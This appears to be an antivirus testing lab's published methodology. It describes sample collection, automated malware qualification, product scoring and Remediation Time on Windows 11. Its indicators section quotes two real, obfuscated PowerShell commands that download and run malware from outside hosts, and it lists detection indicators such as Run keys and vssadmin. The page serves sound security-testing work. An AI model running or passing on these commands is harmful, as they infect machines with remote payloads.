In comparative tests all products are evaluated in the same working environment. An operating system, additional tools, and installed software must be unchangeable.
Currently, there are no such products which by way of information technology evolution wouldn’t need access to the Internet for the appropriate functioning. Such access should be guaranteed to all solutions.
Communication with the cloud of a developer, uploading malware for analysis, downloading information about threats from a global virus database, and faster access to metadata, these are just a few benefits of access the Worldwide Web.
In the studies, the AVLab employees use malicious software, tools, and techniques of bypassing security that are used in real cyberattacks. The organization already cooperates with the largest companies in the cybersecurity industry.
Yara ruleset to eliminate invalid malware samples
In order to obtain malware samples for testing we have used the following sources.
Sysmon is our finest tool to capture events in testing environment
reg add "HKLM\SYSTEM\CurrentControlSet\Services\SysmonDrv\Instances\Sysmon Instance" /v Altitude /t REG_SZ /d 244999
NodeJS with asynchronous code
Vmware Workstation Pro
Windows 11 Pro
Several years ago, a testing procedure was very primitive. On the basis of collected virus samples, results were obtained from on-demand tests, i.e. scanning on demand or proactive tests where a product weren’t updated over a period of time. These days, under certain conditions, such procedures can be interesting, for example, when comparing scanners. In the age of detection technology, rootkits, fileless viruses, and monitoring a virus life cycle on the basis of a machine learning, on-demand testing method is ineffective. Detection of threats on the basis of virus definitions is an old technique of detecting known attacks. Currently, it serves more than support than being a protection core.
Information exchange is one of the key steps of every test — it directly concerns a developer. By delegation of detailed logs, it’s possible to recognize errors that aren’t necessarily a result of wrong methods. There are situations where a virus sample that infiltrates a machine won’t perform any malicious actions (for example, when malware was programmed to infect computers with a specific software installed, operating system architecture, or geographical area). On the other hand, a tested product is intended to block harmful actions. If a virus hasn’t introduced malicious modifications into a system, it’s assumed that an antivirus application had acted in accordance with assumptions of a developer. In such situations, cooperation with developers offers benefits for both sides. In our „Advanced In-The-Wild Malware Tests”, we select only such malware that will effectively infect Windows 11.
Trying to faithfully recreate a user’s behavior and malware, we have developed tools to help us automate a process of testing products. Results we present to Internet users, are unique on a global level. In order to keep transparency and recognition among our readers, we share significantly more data than any other organization that carries out professional tests of security solutions.
A test that simulates a user’s behavior and malware is the most beneficial from the perspective of Internet users and developers. Thanks to honeypots, we obtain a new collection of viruses for testing every day.
Before every sample goes to machines with security products installed, it’s thoroughly analyzed. We have to make sure that only 100% malicious samples are included in tests. A situation when a virus won’t operate in a system, because it was programmed for other geographical area, will never happen in our tests. Readers and developers are ensured that malware which was qualified for tests will be able to really infect operating systems, regardless of which part of the world it comes from.
Before a potentially harmful sample is qualified for tests, one of the components of a testing system checks if malicious software certainly introduces unwanted modifications. For this purpose, every virus is analyzed for 9 minutes. The human factor excluded from tests makes it impossible to ascertain whether, for example, malware will finish its activity after 60 seconds. We must establish some time threshold after which we stop an analysis. We are aware that there’s malicious software that can delay its launch up to several hours before it will be activated. It can also listen to connections with C&C server on an ephemeral port. There were also situations when malware was programmed to infect a specific application, or it was waiting for a website to be opened. We took every effort to ensure that our tests are as close to reality as possible, and samples which are “unreliable” won’t be included in a test virus database.
After analyzing every potentially malicious sample, logs from the activity of malware are exported to the outer part of the testing system. On the basis of the data gathered, developed algorithms decide whether a particular sample is certainly harmful. We publish part of the information from an analysis on the AVLab’s website. Detailed data are shared with developers.
4.1. Several times a day, the system downloads malware URL collected from the public feeds and from all honeypots, and the malware must be online during the test.
4.2. Each sample is verified based on Yara rules before goes to the next subsystem. Taking advantage of the SHA-256 hash function, duplicates are searched. This way, a sample collision doesn’t occur, so two identical viruses will never be qualified for tests.
4.3. Before every sample is added to a virus collection, it has to go through a detailed verification. Each of them is run in the test system without protection software in order to find potentially unwanted indicators. After 9 minutes, on the basis of logs collected by one of the components of the testing system, an algorithm decides based on over 100 rules whether malware should be qualified for tests. The more indicators, the more likely that a sample poses a threat to data integrity and the operating system security. Only malicious file that are characterized by suspicious indicators will be made available to tests. In other words, a virus that among others: modifies system parameters, encrypt files, manipulates registry keys and values, runs malicious scripts, loads harmful DLLs to processes, is treated as “useful”. The remaining samples aren’t included in tests, and are permanently deleted.
Running the powershell.exe process with any parameter:
cMd /c"poweRSheLL -NoniNTeRACtivE -NoPr -exeCuTi ByPASS -WinDO hIDDen "do{sleep 25;(.(\"{2}{0}{1}\" -f'-o','bject','new') (\"{1}{3}{5}{0}{2}{4}\" -f't','syst','.webclie','em','nt','.ne')).('d'+'ow'+'nloadfil'+'e').Invoke('https://formaversa.co/trq','%localappdata%.exe')}while(!$?);&(\"{0}{2}{1}\"-f'star','ss','t-proce') '%localappdata%.exe'""
powershell.exe -nop -w hidden -c $H=new-object net.webclient;$H.proxy=[Net.WebRequest]::GetSystemWebProxy();$H.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX$H.downloadstring(‚http://147.135.210.231:8080/i33PjVMvFgResmq’);Editing keys in the registry:
Software\Microsoft\Windows\CurrentVersion\Run Software\Microsoft\Windows\CurrentVersion\RunOnce
An attempt to edit HOSTS file:
C:\Windows\System32\Drivers\etc
An attempt to remove or change files in a location:
C:\Users\%USERNAME%\Desktop\my_files\
Running a process that points to malware activity:
tor.exe wscript.exe cscript.exe wmic.exe vssadmin.exe
Running a task:
C:\Windows\System32\Tasks
5.1. Every midnight, the testing system starts up all machines with protection products installed. Within 60 minutes, virus signature databases or protection product files are updated. Next, all machines are rebooted and shut down again.
5.2. After ascertaining that machines with protection products installed are ready for tests, snapshots of all systems are created.
5.3. All systems with protection products installed are booted.
5.4. On all machines, a malware sample qualified for tests is simultaneously downloaded via the Mozilla Firefox browser with real URL address for every suspicious file.
5.5. If malicious software is blocked at the early stage (in a browser or after saving on disk in a source folder), it will be marked in a database with a dedicated identifier, and the further analysis isn’t required. In the other case, the following actions are performed.
5.6. If malicious software is detected and stopped by a protection product in the process of moving from a source folder to a target folder, it will be marked with a dedicated identifier, and the further analysis isn’t required. In the other case, the following actions are performed.
5.7. A virus is run, if malware isn’t detected by a protection product in a source folder. After 9 minutes from the launch, detailed logs are generated from the activity of malware in the system.
5.8. Detailed logs from the activity of malware are transferred to the testing subsystem, which looks for matching indicators corresponding to blocking a virus by a protection product. Potentially dangerous indicators that are designed for recording an infection of Windows 11 are also searched.
5.9. On the basis of necessary information transferred to a database, a visualization of protection tests results and analysis of malware on a website is prepared.
5.10. Return to the beginning. Forward of a URL address from which another virus sample is prepared to test, and restoring all systems to the state before the infection.
Based on the following criteria, we are certain that malware was stopped:
6.1. If malware was blocked on the pre-launch, it’s marked with such identifier. The further analysis isn’t required.
6.2. If malware was blocked on the operating system level (post-launch), it’s marked with such identifier.
6.3. Rules developed for every protection product decide about detection of a virus by proactive and behavioral technologies after its launch. Results depends on collected logs that informs whether a threat was quarantined or blocked, among others by a firewall module, cloud protection, sandbox, or IDS, IPS modules. Examples of such indicators:
Blocking a malicious website by the Avira product:
C:\ProgramData\Avira\Antivirus\LOGFILES\webguard.log
Running a virus in the Comodo Internet Security sandbox:
C:\VTRoot HKLM\SYSTEM\VritualRoot
Changing a state of the system for the Webroot antivirus:
HKLM\SOFTWARE\WOW6432Node\WRData\Status\Infected HKLM\SOFTWARE\WOW6432Node\WRData\Status\ThreatBlocked HKLM\SOFTWARE\WOW6432Node\WRData\Status\ThreatsRemoved
The so-called Remediation Time is the time of detecting malware between downloading it by a browser, running in the system, detection, and resolving security incident. We measure the time for each tested product to better highlight the differences between security software when confronted with threats in the wild.
Remediation Time occurs for the PRE and POST-Launch level, i.e. it refers to the analysis when a virus has been downloaded, launched and blocked by a tested product.
Remediation Time for each sample is used to calculate the average time to respond and resolve an incident from the whole test in a given edition. In addition, we collect the maximum Remediation Time, as well as the shortest time to detect and resolve an issue with malware.
Some tested security solutions offer IT teams responsible for security in an organization specific tools for searching threats (EDR-XDR) and making independent decisions about blocking an incident.
Remediation Time expressed in seconds will vary depending on the product, configuration, availability of the infrastructure with information about threats provided by a developer, as well as the stability of the Internet connection in which the test is carried out. It is worth considering these aspects when analyzing the results.
In our tests, we try to configure an application to automate this decision, i.e. we need to assume that after taking a certain action by a protection product, it is considered successfully blocked for a given malware sample. It is necessary because this series of tests is automated, and only this way it is possible to check the effectiveness of security on hundreds of malware throughout the entire month without human interference.
Remediation Time indicates to you or your company that a threat has been at least identified during the attack phase and at least partially stopped.
8.1. Tests are carried out in the Windows 11 Pro x64 system.
8.2. The user account control (UAC) is disabled, because the purpose of the tests is to check a protection effectiveness of a product against harmful software and not a reaction of the testing system to Windows messages.
8.3. Windows 11 contains additional software installed: an office suite, document browser, email client, Mozilla Firefox, and other tools and files that simulate a normal working environment.
8.4. Automatic updates of Windows 11 are disabled. Due to the complicated process and the possibility of a malfunction, Windows 11 is updated every few weeks under close supervision.
8.5. Security products are updated one time within a day. Before tests are run, virus databases and protection product files are updated. This means that the latest versions of protection products are tested every day.
8.6. To download malware to the system, we use the Firefox browser. Usually, it is the newest version. An automatic check and download of updates are run once every 24 hours.
8.7. The MOTW (Mark-of-the-Web) technology and Microsoft Defender Smart Security for file reputation checking, and for EDGE browser are enabled. Additionally, to keep the ZoneID (Alternate Data Stream -> MOTW) of downloaded files from the website without displaying a system warning message when running malware, we have added the EXE extension to the exceptions in:
GPEdit.msc -> User Configuration -> Windows Components -> Attachment Manager -> Inclusion list for moderate risk file
Methodology Version: 01 March 2024 (Remediation Time updated).